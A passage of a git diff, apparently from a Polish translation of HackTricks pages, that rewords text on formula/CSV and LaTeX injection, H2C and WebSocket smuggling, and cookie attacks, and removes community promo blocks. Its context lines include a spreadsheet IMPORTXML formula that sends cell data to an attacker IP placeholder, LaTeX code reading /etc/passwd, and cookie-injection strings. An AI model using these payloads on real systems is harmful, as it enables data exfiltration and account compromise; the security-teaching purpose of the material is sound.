* Ta formuła ma na celu utworzenie hiperlinku, ale wskazuje na złośliwy serwer kontrolowany przez atakującego.
|
||||
2. **Eksportowanie skompromitowanych danych:**
|
||||
* Nauczyciele, nieświadomi kompromitacji, korzystają z funkcji aplikacji, aby wyeksportować dane do pliku CSV.
|
||||
* Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym.
|
||||
* Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalny hiperlink w arkuszu kalkulacyjnym.
|
||||
3. **Wywołanie ataku:**
|
||||
* Nauczyciel klika w hiperłącze, wierząc, że jest to legalna część danych studenta.
|
||||
* Nauczyciel klika w hiperlink, wierząc, że jest to legalna część danych studenta.
|
||||
* Po kliknięciu, wrażliwe dane (potencjalnie w tym szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego.
|
||||
4. **Rejestrowanie danych:**
|
||||
* Serwer atakującego odbiera i rejestruje wrażliwe dane przesłane z komputera nauczyciela.
|
||||
|
@ -90,7 +82,7 @@ LibreOffice Calc może być używany do odczytu lokalnych plików i eksfiltracji
|
|||
|
||||
### Google Sheets do eksfiltracji danych Out-of-Band (OOB)
|
||||
|
||||
Google Sheets oferuje funkcje, które mogą być wykorzystywane do eksfiltracji danych OOB:
|
||||
Google Sheets oferuje funkcje, które mogą być wykorzystane do eksfiltracji danych OOB:
|
||||
|
||||
* **CONCATENATE**: Łączy ciągi razem - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
|
@ -128,7 +120,7 @@ Możesz potrzebować dostosować wstrzyknięcie z użyciem wrapperów, takich ja
|
|||
\text{\line}
|
||||
\closein\file
|
||||
```
|
||||
#### Odczyt pliku wielowierszowego
|
||||
#### Odczyt pliku z wieloma liniami
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
|
@ -191,22 +183,17 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
|
||||
**Sprawdź** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## References
|
||||
## Referencje
|
||||
|
||||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -214,7 +201,7 @@ Ucz się i ćwicz GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
@ -37,7 +29,7 @@ Connection: Upgrade, HTTP2-Settings
|
|||
```
|
||||
Wrażliwość pojawia się, gdy po zaktualizowaniu połączenia, odwrotny proxy przestaje zarządzać poszczególnymi żądaniami, zakładając, że jego zadanie routingu jest zakończone po nawiązaniu połączenia. Wykorzystanie H2C Smuggling pozwala na obejście zasad odwrotnego proxy stosowanych podczas przetwarzania żądań, takich jak routing oparty na ścieżkach, uwierzytelnianie i przetwarzanie WAF, zakładając, że połączenie H2C zostało pomyślnie nawiązane.
|
||||
|
||||
#### Wrażliwe Proxysy <a href="#exploitation" id="exploitation"></a>
|
||||
#### Wrażliwe proxy <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Wrażliwość zależy od obsługi przez odwrotny proxy nagłówków `Upgrade` i czasami `Connection`. Następujące proxy z natury przekazują te nagłówki podczas proxy-pass, co z natury umożliwia H2C smuggling:
|
||||
|
||||
|
@ -76,7 +68,7 @@ Websocket smuggling, w przeciwieństwie do tworzenia tunelu HTTP2 do punktu koń
|
|||
|
||||
W tym scenariuszu atakowany jest backend, który oferuje publiczne API WebSocket obok niedostępnego wewnętrznego API REST. Atak przebiega w kilku krokach:
|
||||
|
||||
1. Klient inicjuje, wysyłając żądanie Upgrade do odwrotnego proxy z nieprawidłową wersją protokołu `Sec-WebSocket-Version` w nagłówku. Proxy, nie weryfikując nagłówka `Sec-WebSocket-Version`, uważa, że żądanie Upgrade jest ważne i przekazuje je do backendu.
|
||||
1. Klient inicjuje, wysyłając żądanie Upgrade do odwrotnego proxy z nieprawidłową wersją protokołu `Sec-WebSocket-Version` w nagłówku. Proxy, nie weryfikując nagłówka `Sec-WebSocket-Version`, uważa żądanie Upgrade za ważne i przekazuje je do backendu.
|
||||
2. Backend odpowiada kodem statusu `426`, wskazując na nieprawidłową wersję protokołu w nagłówku `Sec-WebSocket-Version`. Odwrotny proxy, pomijając status odpowiedzi backendu, zakłada gotowość do komunikacji WebSocket i przekazuje odpowiedź do klienta.
|
||||
3. W konsekwencji odwrotny proxy jest wprowadzany w błąd, wierząc, że nawiązano połączenie WebSocket między klientem a backendem, podczas gdy w rzeczywistości backend odrzucił żądanie Upgrade. Mimo to proxy utrzymuje otwarte połączenie TCP lub TLS między klientem a backendem, co pozwala klientowi na nieograniczony dostęp do prywatnego API REST przez to połączenie.
|
||||
|
||||
|
@ -88,7 +80,7 @@ Dotknięte odwrotne proxy obejmują Varnish, który odmówił rozwiązania probl
|
|||
|
||||
Ten scenariusz dotyczy backendu z publicznym API WebSocket oraz publicznym API REST do sprawdzania stanu, a także niedostępnego wewnętrznego API REST. Atak, bardziej złożony, obejmuje następujące kroki:
|
||||
|
||||
1. Klient wysyła żądanie POST, aby uruchomić API sprawdzania stanu, w tym dodatkowy nagłówek HTTP `Upgrade: websocket`. NGINX, działający jako odwrotny proxy, interpretuje to jako standardowe żądanie Upgrade wyłącznie na podstawie nagłówka `Upgrade`, pomijając inne aspekty żądania, i przekazuje je do backendu.
|
||||
1. Klient wysyła żądanie POST, aby uruchomić API sprawdzania stanu, w tym dodatkowy nagłówek HTTP `Upgrade: websocket`. NGINX, działający jako odwrotny proxy, interpretuje to jako standardowe żądanie Upgrade wyłącznie na podstawie nagłówka `Upgrade`, zaniedbując inne aspekty żądania, i przekazuje je do backendu.
|
||||
2. Backend wykonuje API sprawdzania stanu, kontaktując się z zewnętrznym zasobem kontrolowanym przez atakującego, który zwraca odpowiedź HTTP z kodem statusu `101`. Ta odpowiedź, po odebraniu przez backend i przekazaniu do NGINX, wprowadza proxy w błąd, myśląc, że nawiązano połączenie WebSocket z powodu jego weryfikacji tylko na podstawie kodu statusu.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
@ -99,7 +91,7 @@ Ostatecznie NGINX jest wprowadzany w błąd, wierząc, że istnieje połączenie
|
|||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
Większość odwrotnych proxy jest podatna na ten scenariusz, ale wykorzystanie zależy od obecności zewnętrznej wrażliwości SSRF, zazwyczaj uważanej za problem o niskim ciężarze.
|
||||
Większość odwrotnych proxy jest podatna na ten scenariusz, ale wykorzystanie zależy od obecności zewnętrznej podatności SSRF, zazwyczaj uważanej za problem o niskim ciężarze.
|
||||
|
||||
#### Laboratoria
|
||||
|
||||
|
@ -112,22 +104,16 @@ Sprawdź laboratoria, aby przetestować oba scenariusze w [https://github.com/0a
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,13 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
|
@ -33,11 +26,11 @@ Data wygaśnięcia ciasteczka jest określona przez atrybut `Expires`. Z kolei a
|
|||
|
||||
### Domain
|
||||
|
||||
Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest on ustawiony na hosta, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
|
||||
Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest to ustawione na hosta, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
Specyficzna ścieżka URL, która musi być obecna w żądanym URL, aby nagłówek `Cookie` został wysłany, jest wskazana przez atrybut `Path`. Atrybut ten traktuje znak `/` jako separator katalogów, co pozwala na dopasowania w podkatalogach.
|
||||
Atrybut `Path` wskazuje konkretną ścieżkę URL, która musi być obecna w żądanym URL, aby nagłówek `Cookie` został wysłany. Atrybut ten traktuje znak `/` jako separator katalogów, co pozwala na dopasowania w podkatalogach.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
|
@ -53,7 +46,7 @@ Gdy dwa ciasteczka mają tę samą nazwę, wybór ciasteczka do wysłania opiera
|
|||
* **Lax**: Pozwala na wysyłanie ciasteczka z żądaniami GET inicjowanymi przez strony trzecie.
|
||||
* **None**: Zezwala na wysyłanie ciasteczka z dowolnej domeny trzeciej.
|
||||
|
||||
Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów może pomóc zapewnić, że będą one działać zgodnie z oczekiwaniami w różnych scenariuszach.
|
||||
Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów może pomóc zapewnić, że będą działać zgodnie z oczekiwaniami w różnych scenariuszach.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -66,9 +59,9 @@ Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów mo
|
|||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabela z [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i nieco zmodyfikowana.\
|
||||
Ciasteczko z atrybutem _**SameSite**_ **złagodzi ataki CSRF**, gdzie potrzebna jest zalogowana sesja.
|
||||
Ciasteczko z atrybutem _**SameSite**_ **łagodzi ataki CSRF**, gdzie potrzebna jest zalogowana sesja.
|
||||
|
||||
**\*Zauważ, że od Chrome80 (luty/2019) domyślne zachowanie ciasteczka bez atrybutu ciasteczka samesite** **będzie lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
**\*Zauważ, że od Chrome80 (lut/2019) domyślne zachowanie ciasteczka bez atrybutu cookie samesite** **będzie lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Zauważ, że tymczasowo, po zastosowaniu tej zmiany, **ciasteczka bez polityki SameSite** **w Chrome będą** **traktowane jako None** przez **pierwsze 2 minuty, a następnie jako Lax dla głównych żądań POST między witrynami.**
|
||||
|
||||
## Cookies Flags
|
||||
|
@ -81,7 +74,7 @@ To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **Javascrip
|
|||
|
||||
* Jeśli strona **wysyła ciasteczka jako odpowiedź** na żądania (na przykład na stronie **PHPinfo**), można wykorzystać XSS, aby wysłać żądanie do tej strony i **ukraść ciasteczka** z odpowiedzi (sprawdź przykład w [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Można to obejść za pomocą **TRACE** **HTTP** żądań, ponieważ odpowiedź z serwera (jeśli ta metoda HTTP jest dostępna) odzwierciedli wysłane ciasteczka. Ta technika nazywa się **Cross-Site Tracking**.
|
||||
* Ta technika jest unikaną przez **nowoczesne przeglądarki, które nie pozwalają na wysyłanie żądania TRACE** z JS. Jednak niektóre obejścia tego zostały znalezione w konkretnym oprogramowaniu, na przykład wysyłając `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
|
||||
* Ta technika jest unikaną przez **nowoczesne przeglądarki, które nie pozwalają na wysyłanie żądania TRACE** z JS. Jednak w niektórych oprogramowaniach znaleziono obejścia, takie jak wysyłanie `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
|
||||
* Innym sposobem jest wykorzystanie luk zero-day w przeglądarkach.
|
||||
* Możliwe jest **nadpisanie ciasteczek HttpOnly** poprzez przeprowadzenie ataku Cookie Jar overflow:
|
||||
|
||||
|
@ -93,11 +86,11 @@ To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **Javascrip
|
|||
|
||||
### Secure
|
||||
|
||||
Żądanie **wyśle** ciasteczko w żądaniu HTTP tylko wtedy, gdy żądanie jest przesyłane przez bezpieczny kanał (zazwyczaj **HTTPS**).
|
||||
Żądanie **wyśle** ciasteczko tylko w żądaniu HTTP, jeśli żądanie jest przesyłane przez bezpieczny kanał (zazwyczaj **HTTPS**).
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
Ciasteczka z prefiksem `__Secure-` muszą być ustawione wraz z flagą `secure` z stron zabezpieczonych przez HTTPS.
|
||||
Ciasteczka z prefiksem `__Secure-` muszą być ustawione wraz z flagą `secure` z stron, które są zabezpieczone przez HTTPS.
|
||||
|
||||
Dla ciasteczek z prefiksem `__Host-` musi być spełnionych kilka warunków:
|
||||
|
||||
|
@ -110,11 +103,11 @@ Ważne jest, aby zauważyć, że ciasteczka z prefiksem `__Host-` nie mogą być
|
|||
|
||||
### Overwriting cookies
|
||||
|
||||
Jednym z zabezpieczeń ciasteczek z prefiksem `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomen, oszukując parsera, na przykład dodając "=" na początku lub na końcu...:
|
||||
Jednym z zabezpieczeń ciasteczek z prefiksem `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomeny, oszukując parsera, na przykład dodając "=" na początku lub na końcu...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Lub w PHP możliwe było dodanie **innych znaków na początku** nazwy ciasteczka, które miały być **zastąpione znakami podkreślenia**, co pozwalało na nadpisanie ciasteczek `__HOST-`:
|
||||
Lub w PHP możliwe było dodanie **innych znaków na początku** nazwy ciasteczka, które miałyby być **zastąpione znakami podkreślenia**, co pozwalałoby na nadpisanie ciasteczek `__HOST-`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -124,11 +117,11 @@ Jeśli niestandardowe ciasteczko zawiera wrażliwe dane, sprawdź je (szczególn
|
|||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Wrażliwe dane osadzone w ciasteczkach powinny być zawsze dokładnie sprawdzane. Ciasteczka zakodowane w Base64 lub podobnych formatach można często dekodować. Ta luka pozwala atakującym na modyfikację zawartości ciasteczka i podszywanie się pod innych użytkowników, kodując ich zmodyfikowane dane z powrotem do ciasteczka.
|
||||
Wrażliwe dane osadzone w ciasteczkach powinny być zawsze dokładnie sprawdzane. Ciasteczka zakodowane w Base64 lub podobnych formatach można często dekodować. Ta luka pozwala atakującym na zmianę zawartości ciasteczka i podszywanie się pod innych użytkowników, kodując ich zmodyfikowane dane z powrotem do ciasteczka.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Ten atak polega na kradzieży ciasteczka użytkownika, aby uzyskać nieautoryzowany dostęp do jego konta w aplikacji. Używając skradzionego ciasteczka, atakujący może podszyć się pod prawowitego użytkownika.
|
||||
Ten atak polega na kradzieży ciasteczka użytkownika, aby uzyskać nieautoryzowany dostęp do jego konta w aplikacji. Używając skradzionego ciasteczka, atakujący może podszyć się pod prawdziwego użytkownika.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
|
@ -184,9 +177,9 @@ W Chrome, jeśli kod zastępczy Unicode jest częścią ustawionego cookie, `doc
|
|||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
To skutkuje tym, że `document.cookie` zwraca pusty ciąg, co wskazuje na trwałe uszkodzenie.
|
||||
To skutkuje tym, że `document.cookie` zwraca pusty ciąg, co wskazuje na trwałą korupcję.
|
||||
|
||||
#### Przemyt ciasteczek z powodu problemów z analizą
|
||||
#### Przemyt Ciasteczek z Powodu Problemów z Parsowaniem
|
||||
|
||||
(Zobacz dalsze szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Kilka serwerów internetowych, w tym te z Javy (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), niewłaściwie obsługuje ciągi ciasteczek z powodu przestarzałego wsparcia dla RFC2965. Odczytują podwójnie cytowaną wartość ciasteczka jako jedną wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:
|
||||
```
|
||||
|
@ -194,13 +187,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
```
|
||||
#### Luki w Iniekcji Ciasteczek
|
||||
|
||||
(Sprawdź szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe analizowanie ciasteczek przez serwery, szczególnie Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, stwarza możliwości ataków typu cookie injection. Te serwery nieprawidłowo delimitują początek nowych ciasteczek, co pozwala atakującym na fałszowanie ciasteczek:
|
||||
(Sprawdź szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe analizowanie ciasteczek przez serwery, szczególnie Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, stwarza możliwości ataków iniekcji ciasteczek. Te serwery nieprawidłowo delimitują początek nowych ciasteczek, co pozwala atakującym na fałszowanie ciasteczek:
|
||||
|
||||
* Undertow oczekuje nowego ciasteczka natychmiast po wartości w cudzysłowie bez średnika.
|
||||
* Zope szuka przecinka, aby rozpocząć analizowanie następnego ciasteczka.
|
||||
* Klasy ciasteczek Pythona zaczynają analizowanie od znaku spacji.
|
||||
|
||||
Ta luka jest szczególnie niebezpieczna w aplikacjach internetowych opartych na ochronie CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie fałszywych ciasteczek z tokenami CSRF, co potencjalnie omija środki bezpieczeństwa. Problem jest zaostrzony przez obsługę przez Pythona duplikatów nazw ciasteczek, gdzie ostatnie wystąpienie nadpisuje wcześniejsze. Podnosi to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach i może prowadzić do obejść autoryzacji, gdy ciasteczka są przekazywane do serwerów zaplecza podatnych na fałszowanie.
|
||||
Ta luka jest szczególnie niebezpieczna w aplikacjach internetowych opartych na ochronie CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie fałszywych ciasteczek z tokenami CSRF, co potencjalnie omija środki bezpieczeństwa. Problem jest zaostrzony przez obsługę przez Pythona duplikatów nazw ciasteczek, gdzie ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach i może prowadzić do obejść autoryzacji, gdy ciasteczka są przekazywane do serwerów zaplecza podatnych na fałszowanie.
|
||||
|
||||
### Dodatkowe Kontrole Ciasteczek Wrażliwych
|
||||
|
||||
|
@ -219,7 +212,7 @@ Ta luka jest szczególnie niebezpieczna w aplikacjach internetowych opartych na
|
|||
Jeśli ciasteczko pozostaje takie samo (lub prawie) podczas logowania, prawdopodobnie oznacza to, że ciasteczko jest związane z jakimś polem twojego konta (prawdopodobnie nazwiskiem użytkownika). Wtedy możesz:
|
||||
|
||||
* Spróbować utworzyć wiele **kont** z bardzo **podobnymi** nazwiskami użytkowników i spróbować **zgadnąć**, jak działa algorytm.
|
||||
* Spróbować **bruteforce'ować nazwisko użytkownika**. Jeśli ciasteczko zapisuje się tylko jako metoda autoryzacji dla twojego nazwiska użytkownika, wtedy możesz utworzyć konto z nazwiskiem użytkownika "**Bmin**" i **bruteforce'ować** każdy pojedynczy **bit** swojego ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
|
||||
* Spróbować **bruteforce'ować nazwisko użytkownika**. Jeśli ciasteczko zapisuje się tylko jako metoda uwierzytelniania dla twojego nazwiska użytkownika, możesz utworzyć konto z nazwiskiem użytkownika "**Bmin**" i **bruteforce'ować** każdy pojedynczy **bit** swojego ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
|
||||
* Spróbuj **Padding** **Oracle** (możesz odszyfrować zawartość ciasteczka). Użyj **padbuster**.
|
||||
|
||||
**Padding Oracle - Przykłady Padbuster**
|
||||
|
@ -270,23 +263,18 @@ Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest za
|
|||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
